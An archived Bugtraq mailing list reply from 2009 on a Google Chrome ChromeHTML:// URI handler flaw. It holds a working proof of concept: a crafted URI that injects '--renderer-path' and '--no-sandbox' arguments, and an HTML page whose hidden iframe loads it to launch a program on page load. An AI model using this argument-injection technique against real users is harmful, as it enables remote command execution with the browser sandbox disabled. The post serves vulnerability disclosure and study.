Bugtraq mailing list archives
Re: Re: Google Chrome Browser (ChromeHTML://) remote parameter injection POC
From: come2waraxe () yahoo com
Date: Fri, 30 Jan 2009 10:58:54 -0700
Try this: chromehtml:"%20--renderer-path="calc"%20--no-sandbox Disabling sandbox does matter :) Tested with Google Chrome Chrome 1.0.154.46 on Win XP/Vista and IE6/IE7 and it works ... Full PoC: <html><head><title>Chrome URI Handler Remote Command Execution PoC</title></head> <body> <h3>This is a test</h3> <iframe src='chromehtml:"%20--renderer-path="calc"%20--no-sandbox' width=0 height=0></iframe> </body></html>
Current thread:
- Re: Re: Google Chrome Browser (ChromeHTML://) remote parameter injection POC come2waraxe (Jan 30)